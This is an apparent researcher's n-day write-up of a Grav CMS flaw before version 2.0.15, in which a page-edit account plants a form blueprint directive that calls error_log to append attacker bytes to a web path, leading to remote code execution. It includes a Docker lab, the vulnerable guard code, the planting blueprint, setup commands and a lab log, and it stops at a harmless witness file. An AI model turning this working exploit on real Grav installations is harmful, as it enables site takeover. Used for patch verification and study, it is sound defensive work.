Research/CVE-2026-75827
N-dayCVE-2026-75827HighPublic

CVE-2026-75827: Grav, privileged RCE

Grav before 2.0.15 allowlists Class::method dynamic-data providers and denylists bare functions. error_log is not on the denylist. A form data-options@ directive appends attacker bytes to a web path. Page-edit.

Name
CVE-2026-75827: Grav, privileged RCE
Type
N-day analysis
CVE
CVE-2026-75827
CVE Risk
high
Disclosure Status
public
Vendor
getgrav
Affected
Grav CMS (getgrav/grav), versions through 2.0.14; patched in 2.0.15
Published
18 Sept 2026
Updated
18 Sept 2026
Tags
n-day, grav, file-write, cwe-94, privileged, rce

The denylist missed error_log

I am @abraxas_null. The proof of concept is on GitHub: abraxas/CVE-2026-75827 (loopback client). The lab stack is lab/: Dockerfile, docker-compose.yml, docker-compose.override.yml, php-lab.ini. Authorized lab only. It talks to loopback.

CVE-2026-75827 (NVD, GHSA-f8wv-xp27-6gq7, VulnCheck) is privileged arbitrary file write leading to RCE in Grav through 2.0.14. Confirmed on tag 2.0.13 (78ebfc1). CWE-94. 8.8 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). Patched in 2.0.15.

The advisory names a denylist. HTTP is not an upload action=. A page-edit account plants a Form blueprint data-options@ directive. GET of that public form runs call_user_func_array on a bare PHP function. error_log with message type 3 appends attacker bytes to an attacker path. Then GET the file.

This is the map I used to get from a Grav homepage to a witness file in the web root. Isolated lab, loopback only. I am not publishing a shell. A unique string in the written file is the proof. The stack is in the CVE repo so you can run it at home. The client is the repo above.

What an attacker can do

Someone with page-edit or blueprint-config plants data-options@: ['error_log', payload, 3, web-path]. A later GET of that form appends the payload. Point the path at a web-accessible .php and it is RCE. The lab stops at a unique string in poc-witness.txt. It is not unauthenticated RCE from a cold site.

The lab (run this at home)

Source of truth is lab/ on GitHub. The Dockerfile pins wordpress:6.4-php8.2-apache as a PHP/Apache host; Grav is bind-mounted over the docroot. Port on loopback only. Put Grav 2.0.13 (admin skeleton, Form plugin on) next to compose as ./grav (release).

Dockerfile
# Loopback lab image pin for CVE-2026-75827. Full stack: docker-compose.yml
FROM wordpress:6.4-php8.2-apache
YAML
# CVE-2026-75827 Grav 2.0.13 lab. Loopback only.
services:
  grav:
    image: wordpress:6.4-php8.2-apache
    ports:
      - "127.0.0.1:8088:80"
    volumes:
      - ./grav:/var/www/html
      - ./php-lab.ini:/usr/local/etc/php/conf.d/zz-lab.ini:ro
    environment:
      APACHE_DOCUMENT_ROOT: /var/www/html
    working_dir: /var/www/html
INI
error_reporting = E_ALL & ~E_WARNING & ~E_NOTICE & ~E_DEPRECATED & ~E_USER_DEPRECATED
display_errors = Off
log_errors = On

docker-compose.override.yml only routes logs.

YAML
services:
  grav:
    volumes:
      - ./logs/grav:/var/log/lab

The plant is a Form page. Page-edit privilege puts this in the tree. GET of /poc-form is the sink. Do not put system() in the message. The lab writes a unique string to a .txt.

YAML

title: poc form
process:
  twig: true
never_cache_twig: true
cache_enable: false
form:
  name: poc75827
  fields:
    pick:
      type: select
      label: pick
      data-options@:
        - error_log
        - "POCWitness75827\n"
        - 3
        - poc-witness.txt

{{ form }}

Bring-up from the CVE repo lab/:

Plain text
git clone https://github.com/abraxas/CVE-2026-75827
cd CVE-2026-75827/lab
# place Grav 2.0.13 admin skeleton as ./grav, Form plugin enabled
# add user/pages/03.poc-form/form.md as above
docker compose up -d --force-recreate
python3 ../CVE-2026-75827-Abraxas-Labs.py

Web root has to be writable so error_log(..., 3, poc-witness.txt) can create the file. Grav 2.0.13 wants PHP 8.3; this image is 8.2. Composer will complain. The write still landed. Do not publish the port off loopback. The proof of concept is written for 127.0.0.1:8088.

Two branches, one still a denylist

Blueprint::dynamicData resolves data-*@ directives. After the guard it does this:

PHP
if (!self::isSafeDynamicCall($function, $params)) {
    return;
}

[$o, $f] = explode('::', (string) $function, 2);

$data = null;
if (!$f) {
    if (function_exists($o)) {
        $data = call_user_func_array($o, $params);
    }
} else {
    if (method_exists($o, $f)) {
        $data = call_user_func_array([$o, $f], $params);
    }
}

isSafeDynamicCall is two different policies. Class::method is a positive allowlist ($allowedDynamicCallables) after CVE-2026-64850 / GHSA-7pgq. Bare functions are only refused if Utils::isDangerousFunction says so.

PHP
if (is_string($function) && str_contains($function, '::')) {
    if (!isset(self::$allowedDynamicCallables[strtolower(ltrim($function, '\\'))])) {
        return false;
    }
    return !self::paramsContainDangerousCallable($params);
}

if (is_string($function) && Utils::isDangerousFunction($function)) {
    return false;
}

return !self::paramsContainDangerousCallable($params);

isDangerousFunction lists exec, system, passthru, shell_exec, assert, preg_replace, ... It does not list error_log. paramsContainDangerousCallable only looks for dangerous callable strings in the args. A payload string and a destination path are not callables. The guard returns true.

error_log($message, 3, $destination) appends $message to $destination. That is an arbitrary file append. The Form upload denylist does not apply. This is not an upload.

The same guard is supposed to cover the twin sink in FlexDirectory::dynamicDataField. I used the Form page.

2.0.15 allowlists bare functions the way it already allowlists Class::method. That is the patch. Update.

Privilege to plant, GET to fire

PR:L is page-edit or blueprint-config. You author the data-options@ list. Once that page is published, GET /poc-form is enough. No admin cookie on the GET. Unauthenticated POST of error_log as an HTTP parameter is not this CVE. The function name lives in the blueprint.

system and exec are on the denylist. The first client that tries those as the provider is refused. That looks like a patch. It is the denylist doing the one job it remembered.

A GET of /poc-witness.txt before /poc-form is 404. The write happens when the blueprint is assembled. Order matters.

A reverse shell in the message is theatre. The lab appends POCWitness75827 to a .txt. If that string is in the file, error_log ran with attacker-controlled destination. That is the proof. Writing .php under a web path is how this becomes RCE. I am not going to print that recipe.

What I actually did

Treat the on-disk product as the spec. The GHSA named the denylist hole. I read isSafeDynamicCall, then isDangerousFunction, then the Form page. Proof of concept: CVE-2026-75827-Abraxas-Labs.py.

Plant, then GET. The fixture page is already in the lab tree. GET /poc-form. Grav builds the form, hits dynamicData, calls error_log. Then GET /poc-witness.txt.

Witness in the file. Unique string, not a homepage, not a 404. Multiple GETs of the form append. The body can contain the marker more than once.

Last lab run, trimmed:

Plain text
step1 GET /poc-form status=200
title: poc form | Grav
step2 GET /poc-witness.txt status=200 len=64
POCWitness75827
POCWitness75827
SUCCESS CVE-2026-75827

The form 200 is still a Grav theme, and Composer may yell about PHP 8.2. The second GET is the tell. The client that produced it is on GitHub.

Wrong turns that already cost time: treating this as an upload action=; treating the form 200 as the proof (still Grav theme); treating Composer yelling about PHP 8.2 as a miss (the write still landed); putting system() in the message. The second GET is the tell.

What this is not

It is not unauthenticated RCE from a cold site. Someone with page-edit has to put the directive in a blueprint first. It is also not "Grav uploads PHP." The upload denylist is a different door. This door is a logging function the denylist forgot.

Update to 2.0.15 or newer. Re-run the loopback client against the patched build: the witness must not appear.

I am not going to print a data-options@ list that writes a webshell. The split policy (allowlist vs denylist) and error_log type 3 are the useful part. If you own the box, run the proof of concept against loopback.

Client bugs look like product bugs. A helper that shadows http.client never sends a packet. .recv() on an HTTPResponse is not .read(). I mention that once because it cost time and looked, for a minute, like Grav was fine.

References